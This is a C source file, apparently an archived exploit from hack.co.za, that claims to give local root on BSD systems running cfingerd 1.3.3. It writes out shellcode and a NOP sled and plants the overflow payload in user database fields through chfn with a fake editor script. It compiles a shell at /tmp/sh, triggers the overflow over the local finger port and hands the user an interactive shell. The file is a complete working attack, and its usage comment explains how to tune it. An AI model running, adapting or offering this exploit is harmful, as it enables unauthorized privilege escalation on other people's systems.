home *** CD-ROM | disk | FTP | other *** search
- /*
- * babcia padlina ltd. <babunia@freebsd.lublin.pl>
- * cfingerd 1.3.3 (*bsd) root sploit
- *
- * usage: adjust ptr until cfingerd will segfault with some random data on
- * output, now adjust ret.
- */
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
- #include <errno.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <netinet/in.h>
- #include <netdb.h>
- #include <string.h>
-
- #define BUFFER_SIZE 80
- #define ADDRS 190
- #define PTR 0xbfbfd750
- #define RET 0xbfbfd7d2
- #define NOP 0x90
- #define FILE1 "user.inf"
- #define FILE2 "hack"
- #define FILE3 "set.c"
- #define SHELL "/tmp/sh"
- #define FINGER 79
- #define MAXLINE 1024
- #define LOCALHOST 0x7f000001
- #define GREEN "\E[1;32m"
- #define RED "\E[1;31m"
- #define NORM "\E[1;39m"
- #define UNBOLD "\E[m"
-
- void sh(sockfd)
- int sockfd;
- {
- char buf[MAXLINE];
- int c;
- fd_set rf, drugi;
-
- FD_ZERO(&rf);
- FD_SET(0, &rf);
- FD_SET(sockfd, &rf);
-
- while (1)
- {
- bzero(buf, MAXLINE);
- memcpy (&drugi, &rf, sizeof(rf));
- select(sockfd+1, &drugi, NULL, NULL, NULL);
- if (FD_ISSET(0, &drugi))
- {
- c = read(0, buf, MAXLINE);
- send(sockfd, buf, c, 0x4);
- }
-
- if (FD_ISSET(sockfd, &drugi))
- {
- c = read(sockfd, buf, MAXLINE);
- if (c<0) return;
- write(1,buf,c);
- }
- }
- }
-
- int connectto(void)
- {
- int sockfd;
- char sendbuf[MAXLINE];
- struct sockaddr_in cli;
-
- bzero(&cli, sizeof(cli));
- cli.sin_family = AF_INET;
- cli.sin_addr.s_addr=htonl(LOCALHOST);
- cli.sin_port = htons(FINGER);
-
- if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
- {
- perror("socket");
- return -1;
- }
-
- if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0)
- {
- perror("connect");
- return -1;
- }
-
- sprintf(sendbuf, "%.1023s\n", getenv("LOGNAME"));
- write(sockfd, sendbuf, strlen(sendbuf));
-
- sleep(1);
-
- fflush(stdout);
- fflush(stderr);
-
- sh(sockfd);
-
- return;
- }
-
-
-
- int main(argc, argv)
- int argc;
- char **argv;
- {
- char *buf1 = NULL, *buf2 = NULL, *p = NULL;
- u_long *addr_ptr = NULL;
- int noplen, i, bufsize = BUFFER_SIZE, addrs = ADDRS;
- int retofs = 0, ptrofs = 0;
- long ret, ptr;
- FILE *phile;
-
- char execshell[] =
- "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
- "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
- "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff"SHELL"\x01\x01\x01\x01"
- "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
-
- fprintf(stderr, "\n"GREEN"babcia padlina ltd. cfingerd local root exploit"NORM UNBOLD"\n\n");
-
- if(argc > 5)
- {
- bufsize = atoi(argv[1]);
- addrs = atoi(argv[2]);
- ptrofs = atoi(argv[3]);
- retofs = atoi(argv[4]);
- }
-
- if(!(buf1 = malloc(bufsize+1)))
- {
- perror("malloc()");
- return -1;
- }
-
- if(!(buf2 = malloc(addrs+1)))
- {
- perror("malloc()");
- return -1;
- }
-
- ret = RET + ptrofs;
- ptr = PTR + ptrofs;
-
- noplen = bufsize - strlen(execshell);
- memset(buf1, NOP, noplen);
- strcat(buf1, execshell);
-
- p = buf2;
- addr_ptr = (unsigned long *)p;
-
- for(i = 0; i < (addrs / 4) /2; i++)
- *addr_ptr++ = ptr;
-
- for(i = 0; i < (addrs / 4) /2; i++)
- *addr_ptr++ = ret;
-
- p = (char *)addr_ptr;
- *p = '\0';
-
- if ((phile = fopen(FILE1, "w")) == NULL)
- {
- perror("fopen()");
- return -1;
- }
-
- fprintf(stderr, GREEN "RET:" RED "0x%x\n" GREEN "PTR:" RED "0x%x%\n\n" GREEN "setting up..." NORM UNBOLD "\n", ret, ptr);
-
- fprintf(phile, "#Changing user database information for %s.\n"
- "Shell: %s\n"
- "Full Name: %s\n"
- "Office Location: %s\n"
- "Office Phone: \n"
- "Home Phone: \n"
- "Other information: \n",
- getenv("LOGNAME"), getenv("SHELL"), buf2, buf1);
-
- fclose(phile);
-
- if ((phile = fopen(FILE2, "w")) == NULL)
- {
- perror("fopen()");
- return -1;
- }
-
- fprintf(phile, "cat user.inf>\"$1\"\n");
- fprintf(phile, "touch -t 2510711313 \"$1\"\n");
-
- fclose(phile);
-
- if ((phile = fopen(FILE3, "w")) == NULL)
- {
- perror("fopen()");
- return -1;
- }
-
- // buffer is too small to execute seteuid/setegid there, so we have
- // to do this here.
-
- fprintf(phile, "main() { seteuid(getuid()); setegid(getgid()); system(\"id\"); execl(\"/bin/sh\", \"sh\", 0); }");
- fclose(phile);
-
- system("/usr/bin/cc -o " SHELL " " FILE3);
-
- unlink(FILE3);
-
- system("EDITOR=./" FILE2 ";export EDITOR;chmod +x " FILE2 ";chfn > /dev/null 2>&1");
-
- unlink(FILE1);
- unlink(FILE2);
-
- if (connectto() < 0)
- return -1;
-
- unlink(SHELL);
-
- return 0;
- }
- /* www.hack.co.za [23 Feb 2000]*/